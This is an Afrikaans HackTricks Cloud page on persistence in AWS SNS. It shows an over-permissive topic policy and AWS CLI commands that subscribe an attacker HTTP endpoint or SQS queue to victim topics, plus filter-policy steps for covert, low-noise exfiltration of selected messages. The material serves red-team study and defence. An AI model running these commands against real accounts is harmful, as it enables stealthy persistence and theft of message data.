AWS - SNS Persistensie
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
SNS
Vir meer inligting, kyk:
Persistensie
Wanneer jy ’n SNS topic skep, moet jy met ’n IAM-beleid aandui wie toegang het om te lees en te skryf. Dit is moontlik om eksterne rekeninge, ARN van rolle, of selfs “*” aan te dui.
Die volgende beleid gee aan almal in AWS toegang om te lees en te skryf in die SNS topic genaamd MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Skep intekenaars
Om voort te gaan om al die boodskappe van al die onderwerpe te eksfiltreer, kan ’n aanvaller intekenaars vir al die onderwerpe skep.
Let wel dat as die onderwerp van die tipe FIFO is, slegs intekenaars wat die protokol SQS gebruik, gebruik kan word.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Bedekte, selektiewe eksfiltrasie via FilterPolicy op MessageBody
’n Aanvaller met sns:Subscribe en sns:SetSubscriptionAttributes op ’n topic kan ’n stil SQS-subskripsie skep wat slegs boodskappe deurstuur waarvan die JSON-body ’n baie noue filter pas (byvoorbeeld {"secret":"true"}). Dit verminder volume en opsporing terwyl dit steeds sensitiewe rekords eksfiltreer.
Potensiële Impak: Bedekte, lae-noise eksfiltrasie van slegs geteikende SNS-boodskappe vanaf ’n slagoffer-topic.
Steps (AWS CLI):
- Sorg dat die aanvaller se SQS-queuebeleid
sqs:SendMessagevanaf die slagofferTopicArntoelaat (Conditionaws:SourceArngelyk aan dieTopicArn). - Skep SQS-subskripsie vir die topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Stel die filter in om op die message body te werk en slegs by
secret=truete pas:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Opsionele stilheid: skakel RawMessageDelivery aan sodat slegs die rou payload by die ontvanger aankom:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Validering: publiseer twee boodskappe en bevestig dat slegs die eerste aan die aanvaller se queue afgelewer word. Voorbeeld payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Opschoning: teken uit en verwyder die aanvaller se SQS-queue indien geskep vir persistence testing.
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

